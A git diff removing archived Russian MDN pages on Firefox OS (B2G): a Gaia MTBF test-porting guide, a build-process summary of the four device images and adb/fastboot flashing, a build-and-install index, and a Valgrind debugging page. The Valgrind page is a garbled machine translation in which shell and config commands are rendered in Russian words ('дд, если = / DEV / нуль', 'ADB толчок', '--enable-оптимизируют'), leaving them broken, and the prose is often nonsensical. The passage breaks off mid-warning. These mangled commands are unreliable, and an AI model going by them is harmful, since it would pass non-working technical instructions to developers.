GaiaTestCase</code></li> - </ul> - </li> - <li><code>class XXX(GaiaMtbfTestCase)</code> - <ul> - <li>(original) <code>class XXX(GaiaTestCase)</code></li> - </ul> - </li> - <li>If it has a <code>setUp()</code> or <code>tearDown()</code> method, use <code>GaiaMtbfTestCase</code> - <ul> - <li>(original) <code>GaiaTestCase</code></li> - </ul> - </li> -</ul> - -<h3 dir="ltr" id="Step_2_Add">Step 2: Add</h3> - -<ul> - <li>If there's no <code>setUp()</code> method , add it before the general test function.</li> - <li>Add <code>GaiaMtbfTestCase.setUp(self)</code> as the first step of <code>setUp()</code>. - <ul> - <li>Environment check/recovery and app initialization.</li> - <li><code>launch</code> > <code>launch_by_touch</code> if possible.</li> - <li>Get the handle using <code>self.app_id</code>.</li> - </ul> - </li> - <li>If there's no <code>tearDown()</code> method, add it after the general test function.</li> - <li>Add <code>GaiaMtbfTestCase.tearDown(self)</code> as the last step of <code>tearDown()</code>. - <ul> - <li>Handle data after the test is finished (delete/remove/move/etc.)</li> - </ul> - </li> -</ul> - -<h3 id="Step_3_Principles">Step 3: Principles</h3> - -<ul> - <li>Modify <code>assert()</code> functions in your tests (make sure they work for multiple test cases.)</li> - <li>If porting cases from Gaia-UI-Test, you need to declare <code>app</code> as a test class member.</li> - <li>If multiple apps init/launch in a case; please refer to the <code>card_view</code> cases. - <ul> - <li>Unless your clean actions don't involve UI interactions, avoid this scenario if you can.</li> - <li>For example, use device manager to remove the file on the device.</li> - <li>In such cases, you may need to call <code>marionette.refresh()</code> to get the latest update.</li> - </ul> - </li> - <li>Replace <code>datetime.fromtimestamp</code> with <code>datetime.utcfromtimestamp</code> if you want to implement calendar related cases.</li> -</ul> - -<h3 id="Step_4_About_apps">Step 4: About apps</h3> - -<ol> - <li><code>apps</code> > <code>mtbf_apps</code> if needed.</li> - <li>Import original apps.</li> - <li>Add <code>__init__()</code> and any functions you need.</li> -</ol> - -<h3 id="Step_5_After_you_have_finished">Step 5: After you have finished</h3> - -<ol> - <li>Test each test case using <em>Test full suite > Test full suite with shuffle</em></li> - <li>Check PEP8 errors</li> - <li>Use a pull request to add your test cases to the main repo! Do not push directly.</li> -</ol> diff --git a/files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html b/files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html deleted file mode 100644 index 9d66609e13..0000000000 --- a/files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Firefox OS build process summary -slug: >- - Archive/B2G_OS/Building_and_installing_Firefox_OS/Firefox_OS_build_process_summary -translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary ---- -<div class="summary"> -<p><span id="result_box" lang="ru"><span class="hps">Сборка и установка</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">требует значительного количества</span> <span class="hps">времени</span><span>, пропускной способности</span> <span class="hps">сети и</span> <span class="hps">вычислительную мощность</span><span>.</span> <span class="hps">К сожалению</span><span>, по пути</span><span>, что то может</span><span> пойти</span> <span class="hps">не так.</span> <span class="hps">Эта страница</span> <span class="hps">излагает цели</span> <span class="hps">процесса</span> <span class="hps">сборки</span> <span class="hps">и</span> <span class="hps">его этапы</span>, <span class="hps">для того, чтобы</span> <span class="hps">помочь</span> <span class="hps">пользователям</span> <span class="hps">в пути</span><span>.</span> <span class="hps">Подробная информация о</span> <span class="hps">каждом шаге</span> <span class="hps">рассматривается в</span> <span class="hps">связанных страницах</span><span>.</span></span>.</p> -</div> - -<div class="note"> -<p><strong style="font-weight: bold;">Примечание:</strong> В процессе сборки Firefox OS будет множество ссылок на 'B2G' или 'Boot2Gecko'. 'Boot2Gecko' это оригинальное название пректа Firefox OS.</p> -</div> - -<h2 id="Цель_моделирования_четыре_файла_'образа'">Цель моделирования: четыре файла 'образа'</h2> - -<p><span id="result_box" lang="ru"><span class="hps">Общая цель</span> <span class="hps">процесса сборки</span> <span class="hps">является</span> <span class="hps">построить четыре</span> <span class="hps">файлы, которые</span> <span class="hps">можно скопировать</span> <span class="hps">на устройство</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span></span></p> - -<table style="margin: 4px auto; vertical-align: top; width: 90%;"> - <tbody> - <tr> - <td><strong>boot.img</strong></td> - <td><span id="result_box" lang="ru"><span class="hps">Ядро</span> <span class="hps">Linux</span> <span class="hps">и корень</span> <span class="hps">файловой системы</span> <span class="hps">образа</span><span>, последний</span> <span class="hps">обеспечивает</span> <span class="hps">полезный</span> <span class="hps">набор</span> <span class="hps">основных инструментов</span> <span class="hps">Unix</span></span>.</td> - </tr> - <tr> - <td><strong>system.img</strong></td> - <td>Ядро Firefox OS включающее части Gonk, порт Gecko, и исполняемый фаил b2g.</td> - </tr> - <tr> - <td><strong>userdata.img</strong></td> - <td>Профиль пользователя Gecko и веб приложения для устройства Gaia.</td> - </tr> - <tr> - <td><strong>recovery.img</strong></td> - <td>Ядро Linux и корень файловой системы образа совместно с простым инструментом, чтобы исправить неправильную установку.</td> - </tr> - </tbody> -</table> - -<p>После создания четырех образов, необходимо перенести их на устройство.</p> - -<p>Firefox OS строится на вершине базовой основы для Android Open Source Project (AOSP). AOSP инструменты <code>adb</code> и <code>fastboot</code> обеспечивают мощные способы доступа и управлеия устройства.Примечательно, что команда <code>adb reboot-bootloader</code> может подключиться к устройству чтобы перезагрузить и приостановить загрузку на ранней стадии, где команда <code>fastboot flash $partition $image</code> может использоваться для копирования образа на устройстве.</p> - -<h3 id="Загрузочный_образ"><span class="short_text" id="result_box" lang="ru"><span class="hps">Загрузочный образ</span></span></h3> - -<p><span id="result_box" lang="ru"><span class="hps">Загрузочный образ</span> <span class="atn hps">(</span><span>boot.img</span><span>)</span> <span class="hps">представляет собой сочетание</span> <span class="hps">ядр<s>о</s> и</span> <span class="hps">начального</span> <span class="hps">корневого раздела</span><span>, обеспечивающего</span> <span class="hps">основную</span> <span class="hps">утилиту</span> <span class="hps">программного обеспечения и</span> <span class="hps">сценарий</span> <span class="hps">инициализации.</span> <span class="hps">Последнее</span> <span class="hps">будет скопирован</span> <span class="hps">в память</span> <span class="hps">устройства</span> <span class="hps">для эффективного</span> <span class="hps">использования</span> <span class="hps">устройства</span> <span class="hps">и, следовательно,</span> <span class="hps">называется</span> <span class="atn hps">"</span><span>электронный диск</span><span>"</span><span>.</span> <span class="hps">Загрузочный образ</span> <span class="hps">будет</span> <span class="hps">скопирован в</span> раздел <span class="atn hps">"</span><span>загрузки</span><span>"</span> <span class="hps"> на</span> <span class="hps">устройстве и</span> <span class="hps">содержимое</span> <span class="hps">электронного диска</span> <span class="hps">видны</span> <span class="hps">начиная с</span> <span class="hps">корневого каталога</span> <span class="hps">при проверке файловой системы</span> <span class="hps">устройства</span> <span class="hps">доступ</span> <span class="hps">во время выполнения,</span> <span class="hps">например, при использовании</span> <span class="hps">adb</span> <span class="hps">оболочки</span><span>.</span></span></p> - -<p><span id="result_box" lang="ru"><span class="hps">Загрузочный образ</span> <span class="hps">также устанавливает</span> <span class="hps">права доступа</span> <span class="hps">пользователя в </span> <span class="hps">корневой</span><span class="hps"> файл</span> <span class="hps">default.prop</span> <span class="hps">в корневом каталоге</span><span>.</span></span></p> - -<p><span id="result_box" lang="ru"><span class="hps">Можно также</span> <span class="hps">изменять существующие</span> <span class="hps">загрузочные образы</span> <span class="hps">путем проверки</span> <span class="hps">файла</span><span>, разделив</span> <span class="hps">файл на</span> <span class="hps">образ ядра</span> <span class="hps">и</span> загрузочный образ<span>,</span> <span class="hps">извлеките</span> <span class="hps">содержимое</span> загрузочного образа<span class="hps">,</span> <span class="hps">измените его</span> <span class="hps">содержимое</span><span>,</span> <span class="hps">повторно сберите загрузочный образ</span><span>, а затем</span> <span class="hps">восстановите</span> <span class="hps">функции</span> <span class="hps">boot.img</span> <span class="hps">,</span> <span class="hps">См</span><span>,</span> <span class="hps">например,</span></span> <a href="http://k.japko.eu/alcatel-otf-hackers-guide-1.html">Alcatel One Touch Fire Hacking (Mini) Guide</a> .</p> - -<p><span id="result_box" lang="ru"><span class="hps">Загрузочный образ</span> <span class="hps">перед установкой</span> <span class="atn hps">необходимо проверить на '</span><span class="hps">sideloading</span><span class="atn hps">'</span></span><span lang="ru"> <span>;</span> <span class="hps">устройство можно</span><span class="hps"> запускать</span> <span class="hps">и останавливать</span> <span class="hps">в загрузчике</span><span>, затем</span> <span class="hps">быструю загрузку</span> <span class="hps">можно</span> <span class="hps">будет использовать для загрузки</span> <span class="hps">из</span> <span class="hps">загрузочного образа</span><span>, без установки его</span> <span class="hps">с помощью команды</span></span> <code>fastboot boot /some/path/to/boot.img</code>.</p> - -<h3 id="Системный_образ">Системный образ</h3> - -<p>Системный образ (<code>system.img</code>) обеспечивает основу Firefox OS:</p> - -<ul> - <li><strong>Gonk</strong>: <span class="short_text" id="result_box" lang="ru"><span class="hps">компоненты</span> <span class="hps">низкого уровня</span> <span class="hps">операционной</span> <span class="hps">системы</span></span></li> - <li><strong>Gecko</strong>: порт для Firefox HTML отображения и JavaScript движка</li> - <li><strong>B2G</strong>: ядро процесса выполняющегося операционной системой</li> -</ul> - -<div class="note"> -<p>Смотрите <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform">the Firefox OS platform</a> <span id="result_box" lang="ru"><span class="hps">руководство для</span> <span class="hps">получения более подробной информации</span> <span class="hps">об архитектуре</span> <span class="hps">платформы.</span></span></p> -</div> - -<p>Системный образ<span lang="ru"><span class="hps"> будет скопирован</span> <span class="hps">в системный раздел</span><span class="hps"> устройства</span> <span class="hps">и будет виден</span> <span class="hps">в директории</span> <span class="hps">/</span> <span class="alt-edited hps">system</span> <span class="hps">/</span> <span class="hps">при проверке файловой системы</span> <span class="hps">устройства</span> <span class="hps">доступны</span> <span class="hps">во время выполнения</span></span>.</p> - -<div class="note"> -<p><strong>Note</strong>: The System Image also provides the binary blobs that may be used by the device, notably the RIL (Radio Interface Layer) blob controlling the cellular radio on the device.</p> -</div> - -<h3 id="The_User_Data_Image">The User Data Image</h3> - -<p>The User Data Image (<code>userdata.img</code>) provides the Gaia applications loaded at runtime.</p> - -<p>The User Data Image will be copied to the <code>userdata</code> partition on the device and the contents will be visible in the <code>/data/</code> directory when the device filesystem is accessed at runtime. Notably the <code>/data/b2g/</code> directory contains the Mozilla Gecko <em>profile</em> of the device user while the <code>/data/local/webapps/</code> directory contains the actual web applications available to the user.</p> - -<h3 id="The_Recovery_Image">The Recovery Image</h3> - -<p>The Recovery Image (<code>recovery.img</code>) contains the same kernel and a similar ramdisk as are present on the Boot Image partition. The recovery image however uses a different initialization script, which leads the user to a set of recovery commands accessible using the hardware buttons on the device.</p> - -<p>The Recovery Image will be copied to the <code>recovery</code> partition on the device, which is not mounted onto the filesystem at regular runtime.</p> - -<h2 id="The_Build_Process_setup_configure_build_install">The Build Process: setup, configure, build, install</h2> - -<p>The overall process of building and installing Firefox OS involves four steps:</p> - -<table style="margin: 4px auto; vertical-align: top; width: 90%;"> - <tbody> - <tr> - <td><strong>Setup</strong></td> - <td>Obtain copies of all the programs used by the build process, such as the right compilers and libraries.</td> - </tr> - <tr> - <td><strong>Configure</strong></td> - <td>Download the source code that will be built and create the <code>.configure</code> file that defines environmental variables specifying the paths and other values used in the build.</td> - </tr> - <tr> - <td><strong>Build</strong></td> - <td>Build the Gecko profile of the user and the Gaia web applications for the device.</td> - </tr> - <tr> - <td><strong>Install</strong></td> - <td>Install the files on a device.</td> - </tr> - </tbody> -</table> - -<p> </p> - -<h3 id="Setup">Setup</h3> - -<p>Inital setup must be done to ensure the computer running the build has all of the software required during the build, such as compilers and build tools.</p> - -<p>This step can be done by hand or using a script. Details are discussed in the <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites" title="Firefox OS build prerequisites">Firefox OS build prerequisites</a> page.</p> - -<div class="note"> -<p><strong>Note</strong>: On UNIX and UNIX-like machines, the presence of the required software can be checked using the unix command <code>which</code> with the name of the required program as a parameter.</p> -</div> - -<h3 id="Configuration">Configuration</h3> - -<p>The actual build process starts with obtaining a copy of the Firefox OS (or B2G) software, usually by creating a Git clone of the <code>B2G</code> project. The build configuration will both obtain copies of all the source code which is to be built and create the <code>.config</code> file that specifies variables for the build.</p> - -<p>This is run with the <code>config.sh</code> script. Details are discussed in the <a href="/en-US/Firefox_OS/Preparing_for_your_first_B2G_build" title="Preparing for your first B2G build">Preparing for your first B2G build</a> page.</p> - -<p>The configure script needs a parameter specifying the type of device to build. The build names are code names linked to the CPU architecture rather than a specific device, and there is currently no way to establish which build works for which physical device. A list of available code names can be <a href="/en-US/Firefox_OS/Phones">found here</a>.</p> - -<p>The configure step will also use the Android Open Source Project <code>repo</code> tool to download (or update) a copy of all the code used in the build. These copies will be stored in the <code>.repo/projects</code> directory. Due to this activity, the configure step can take a long time and will download a lot of data.</p> - -<h3 id="Build">Build</h3> - -<p>The build step will actually compile all of the source code and produce the output images.</p> - -<p>This is run with the <code>build.sh</code> script. Details are discussed in the <a href="/en-US/Firefox_OS/Building" title="Building">Building Firefox OS</a> page.</p> - -<p>By default, the build step is monolithic, attempting to build everything at once from the Android Open Source Project tools to the Linux kernel to the Gaia web applications. When the build fails, it can sometimes be unclear in which step it has failed.</p> - -<p>It is possible to build only certain parts of the whole Firefox stack. For example, the Gecko system only can be built by calling the build script with the <code>gecko</code> parameter. Similarly, Gaia can be built on its own using the <code>gaia</code> parameter. These parts can then be installed separately onto the device as explained next.</p> - -<p>It is also possible to build the images discussed in the first part of this page. For example, the system image can be built using <code>./build.sh out/platform/$target/system.img</code>, where the <code>$target</code> parameter is the same as given in the Configuration step.</p> - -<h3 id="Install">Install</h3> - -<p>The install step will place the newly compiled code onto a device. This is run with the <code>flash.sh</code> script.</p> - -<p>Individual parts of the build can be installed by adding a parameter to the flash script. For example, it is possible to install only the gaia web applications by specifying <code>./flash.sh gaia</code>.</p> diff --git a/files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html b/files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html deleted file mode 100644 index fb71da5b51..0000000000 --- a/files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Сборка и установка Firefox OS -slug: Archive/B2G_OS/Building_and_installing_Firefox_OS -translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS ---- -<p>Поскольку Firefox OS сейчас находится в стадии в активной разработки и в предрелизном состоянии, лучший способ удостовериться, что у Вас установлена последняя версия, заключается в самостоятельной сборке и установке. Статьи, перечисленные на этой странице, помогут Вам в процессе сборки и установки Firefox OS на эмуляторе, или совместимом устройстве или пользовательском интерфейсе <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia" title="en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia">Gaia</a> в броузере Firefox.</p> -<table class="topicpage-table"> - <tbody> - <tr> - <td> - <h2 class="Documentation" id="КАК_ПОЛУЧИТЬ_И_СОБРАТЬ_FIREFOX_OS">КАК ПОЛУЧИТЬ И СОБРАТЬ FIREFOX OS</h2> - <dl> - <dt> - <a href="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites" title="en-US/docs/Mozilla/Boot_to_Gecko/B2G build prerequisites">Прежде, чем собрать</a> <a href="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites" title="en-US/docs/Mozilla/Boot_to_Gecko/B2G build prerequisites">Firefox OS</a></dt> - <dd> - Что Вам потребуется (и что нужно сделать) перед сборкой Firefox OS в первый раз.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build" title="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing for your first B2G build">Подготовка к первой сборке Firefox OS</a></dt> - <dd> - Прежде чем вы сможете собрать Firefox OS, необходимо скопировать из репозитория и настроить сборку. Данная статья объясняет, как это сделать.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko" title="en-US/docs/Mozilla/Boot_to_Gecko/Building Boot to Gecko">Сборка Firefox OS</a></dt> - <dd> - Как собрать Firefox OS.</dd> - </dl> - <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">Подробнее...</a></span></p> - </td> - <td> - <h2 class="Community" id="УСТАНОВКА_FIREFOX_OS_ИИЛИ_Gaia">УСТАНОВКА FIREFOX OS И/ИЛИ Gaia</h2> - <dl> - <dt> - <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Choosing_how_to_run_Gaia_or_B2G" title="en-US/docs/Mozilla/Boot_to_Gecko/Choosing how to run Gaia or B2G">Выбираем как запустить Gaia или Firefox OS</a></dt> - <dd> - Вы можете использовать Gaia в Firefox, или запустить Firefox OS на мобильном устройстве или в настольном симуляторе. <span id="result_box" lang="ru"><span class="hps gt-trans-draggable">Это</span> <span class="hps gt-trans-draggable">руководство поможет Вам</span> <span class="hps gt-trans-draggable">решить, что лучше</span> <span class="hps gt-trans-draggable">для Ваших нужд.</span></span></dd> - <dt> - <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_Gaia_in_Firefox" title="en-US/docs/Mozilla/Boot_to_Gecko/Using Gaia in Firefox">Использование Gaia в Firefox</a></dt> - <dd> - Как использовать Gaia с помощью настольного Firefox браузера.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">Использование Firefox OS десктопного клиента</a></dt> - <dd> - <span id="result_box" lang="ru"><span class="gt-trans-draggable">Руководство по запуску</span> <span class="hps gt-trans-draggable">и использованию</span> <span class="hps gt-trans-draggable">Firefox</span> <span class="hps gt-trans-draggable">ОС</span> <span class="hps gt-trans-draggable">в десктопном клиенте, имитирующем</span></span> окружение Gaia в настольных приложениях. Это даёт более точный результат, чем использование Gaia в Firefox, но менее точный, чем в эмуляторе.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Boot_to_Gecko/Using the B2G emulators">Использование Firefox OS эмуляторов</a></dt> - <dd> - <span id="result_box" lang="ru"><span>Руководство по сборке</span> <span class="hps">и использованию</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">эмуляторов,</span> <span class="hps">и когда какой </span> </span><span id="result_box" lang="ru"><span class="hps">эмулятор</span></span> лучше<span id="result_box" lang="ru"><span class="hps"> использовать</span></span>.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Installing_Boot_to_Gecko_on_a_mobile_device" title="en-US/docs/Mozilla/Boot_to_Gecko/Installing Boot to Gecko on a mobile device">Установка Firefox OS на мобильное устройство</a></dt> - <dd> - Как установить Firefox OS на мобильное устройство.</dd> - <dt> - <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Dual_boot_of_B2G_and_Android_on_SGS2" title="/en-US/docs/Mozilla/Boot_to_Gecko/Dual boot of B2G and Android on SGS2">Двойная загрузка Firefox OS и Android на SGS2</a></dt> - <dd> - Как настроить двойную загрузку Firefox OS/Android на Samsung Galaxy S2.</dd> - </dl> - </td> - </tr> - </tbody> -</table> -<p> </p> diff --git a/files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html b/files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html deleted file mode 100644 index 1da26c0654..0000000000 --- a/files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Отладка B2G с помощью Valgrind -slug: Archive/B2G_OS/Debugging/Debugging_B2G_using_valgrind -translation_of: Archive/B2G_OS/Debugging/Debugging_B2G_using_valgrind ---- -<p></p><section class="Quick_links" id="Quick_Links"> - -<ol> - <li class="toggle"> - <details> - <summary>Build and install</summary> - <ol> - <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li> - </ol> - </details> - </li> - <li class="toggle"> - <details> - <summary>Porting B2G OS</summary> - <ol> - <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li> - </ol> - </details> - </li> - <li class="toggle"> - <details> - <summary>Developing Gaia</summary> - <ol> - <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li> - </ol> - </details> - </li> - <li><a href="/ru/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li> -</ol> -</section><p></p> - -<p class="summary">Инструмент Memcheck Valgrind обнаруживает ошибки C ++ управления памятью, которые могут привести к стабильности и безопасности проблем: использование освобожденной памяти, кучи перерасход массива, использует неинициализированной значений и утечек памяти. Он включен в дереве Firefox OS, и может работать на некоторых телефонах, которые имеют достаточные ресурсы. В этой статье объясняется, как использовать его.<br> - Требования<br> - Перед запуском Valgrind против Firefox OS, рекомендуется, чтобы разработчики ознакомиться с Debugging Mozilla со статьей Valgrind. Большая часть содержащейся в нем информации имеет отношение к работает против Firefox OS, хотя многие из сборки и командных этапов линии заботятся операционной системой сборки и выполнения сценариев Firefox.</p> - -<p>Чтобы запустить Valgrind против Firefox OS на телефоне, требуется телефон с выше чем нормальные спецификации. Valgrind требует значительных ресурсов, и, как правило, вызывают из-за ошибок памяти на телефонах с чем-то меньшим, чем 1 Гб оперативной памяти. На момент написания (2015-06-10), Valgrind, как известно, работать с Firefox OS работает на Flame телефонов с 1 Гб или RAM и Nexus 5 телефонов с 2 Гб оперативной памяти. Она также должна работать на Geeksphone Keons и аналогичные спецификации телефонов. Посмотрите на телефон и устройство передачи данных для более подробной информации о доступных телефонов.</p> - -<p>Проблема номер один бежит из памяти. Если ядро вашего телефона поддерживает пространство подкачки, ваша ситуация улучшается. Вы можете сказать, поддерживает ли ваш телефон пространство подкачки с помощью поиска файла / Proc / свопы - если он присутствует, вам повезло. Если да, то подготовить файл подкачки на хосте, переместите его в телефон, и включить его:</p> - -<p>дд, если = / DEV / нуль = swapfile800M бс = 1024 Количество = 781250<br> - mkswap swapfile800M<br> - GZIP --fast swapfile800M<br> - ADB толчок swapfile800M.gz / данные<br> - ADB оболочка GZIP -d /data/swapfile800M.gz<br> - ADB оболочки swapon / данные / swapfile800M</p> - -<p>ADB оболочки кота / Proc / свопы<br> - # Должен производить такую строку:<br> - # / Данные / swapfile800M файл 781244 0 -2<br> - Если ваш телефон не имеет своп, могут возникнуть Nuwa-процессы, созданные будучи ООМ убитыми, и, следовательно, неполной или запутанным функциональность. Попробуйте использовать телефон по меньшей мере, 2 Гб оперативной памяти в этом случае. Пламя, по крайней мере, делает поддержку своп. Вы должны быть осторожны, какой раздел файл подкачки размещен на. Если вы ненароком положил ее на раздел Btrfs, вы будете получать жалобы по поводу дыр в файлы подкачки при попытке запустить swapon.</p> - -<p>Запуск Valgrind на FxOS телефоны<br> - Давайте посмотрим на процесс запуска Valgrind.</p> - -<p>составление</p> - -<p>Для создания Firefox OS с включенным Valgrind, добавьте следующую строку в файл в .userconfig.</p> - -<p>экспорт B2G_VALGRIND = 1<br> - экспорт DISABLE_JEMALLOC = 1<br> - Строительство отладки (B2G_DEBUG) также рекомендуется. Строительство без каких-либо оптимизаций (B2G_NOOPT) делает вещи работать почти unusably медленно, и не рекомендуется, за исключением тех случаев, когда считается, что оптимизация может быть запутывания ошибки.</p> - -<p>И добавьте следующие строки в конец Gonk-разностороннего / Default-геккона-конфигурации:</p> - -<p>ac_add_options --enable-оптимизируют = "- г -O2"<br> - ac_add_options --enable-Valgrind<br> - ac_add_options --disable-jemalloc<br> - ac_add_options --disable-песочницу<br> - Отключение песочницу, к сожалению, требуется, так как не делать это вызывает процессы, valgrind быть убитым механизмом песочнице.</p> - -<p>Бег</p> - -<p>Примечание: Запуск Valgrind на телефон Firefox OS будет сделано в контексте телефона, а не в операционной системе хоста. Это означает, что разработчики могут использовать любую платформу, которая ADB доступна и будет выполнять run-valgrind.sh скрипт для запуска Valgrind по телефону.<br> - Чтобы запустить Firefox OS под Valgrind, используйте run-valgrind.sh скрипт из каталога B2G. Этот скрипт выполняет следующие действия:</p> - -<p>Перемонтирует файловую систему телефона в виде R / W.<br> - Копии текущей отладки libxul.so с полными символов в телефон. Поскольку этот файл много сотен мегабайт, то этот шаг может занять около двух минут, чтобы закончить. Она должна быть переделана каждый раз, когда новая сборка производится. Чтобы запустить Valgrind без libxul этапе копирования, выполните следующую команду:<br> - run-valgrind.sh NOCOPY<br> - Перезагрузка телефона.<br> - Убивает процесс b2g, который запускается при включении телефона.<br> - Запускает свой собственный процесс b2g под Valgrind.<br> - Все выходные Valgrind будут записаны на стандартный вывод терминала исполняющего run-valgrind.sh сценарий. Это может быть либо прочитать в терминале или по трубопроводу в файл.</p> - -<p>run-valgrind.sh начинает Valgrind с соответствующим набором параметров командной строки. Если вы хотите передать в дополнительные параметры, которые переопределяют набор параметров по умолчанию, задайте их с помощью переменной среды extra_args:</p> - -<p>Extra_args = "- v" run-valgrind.sh NOCOPY<br> - Примечание: Так как run-valgrind.sh сценарий владеет ADB процесс, запущенный процесс b2g, убивая сценарий будет также убить B2G и Valgrind по телефону. Рекомендуется, чтобы телефон будет перезагружен после запуска VALGRIND сеанса, так как она может оставить вещи в странном состоянии.<br> - Debug информация для системных библиотек</p> - -<p>Чтобы получить хорошее качество трассировки стека для системных библиотек, вам нужно поместить их по телефону:</p> - -<p>(CD выход / целевого / продукта / пламя && ADB нажимные символы / SDCard / символы-для-Valgrind)<br> - run-valgrind.sh будет автоматически вызывать Valgrind для чтения объектов отладки в / SDCARD / символов-для-Valgrind. Если вы хотите, чтобы убедиться, что Valgrind читает их, начинают run-valgrind.sh с extra_args = "- V".</p> - -<p>Запуск Valgrind на Firefox OS Desktop<br> - Запуск Valgrind против Firefox OS Desktop работает точно так же, как работает это против настольного Firefox. Обратитесь к Debugging Mozilla с Valgrind страницы для получения дополнительной информации. Все соответствующие флаги сборки должны быть добавлены к mozconfig, и будут применяться все вопросы, специфичные для платформы на странице.</p> - -<p>Обратите внимание, что запуск Valgrind на рабочем столе в режиме ООП / процесс-за-вкладке потребует добавления следующий параметр, чтобы убедиться, что дочерние процессы также прослеживаются:</p> - -<p>--trace-дети = да<br> - Поддержание и обновление Firefox OS Valgrind<br> - В то время как патчи upstreamed, когда это применимо, Valgrind для Firefox OS поддерживается в раздвоенным хранилище, чтобы держать вещи в курсе, насколько это возможно в то же время имеем дело с расцентрировок OS сборки дерева и версии Firefox.</p> - -<p>Обновление VALGRIND Repos</p> - -<p>ПРЕДУПРЕЖДЕНИЕ: 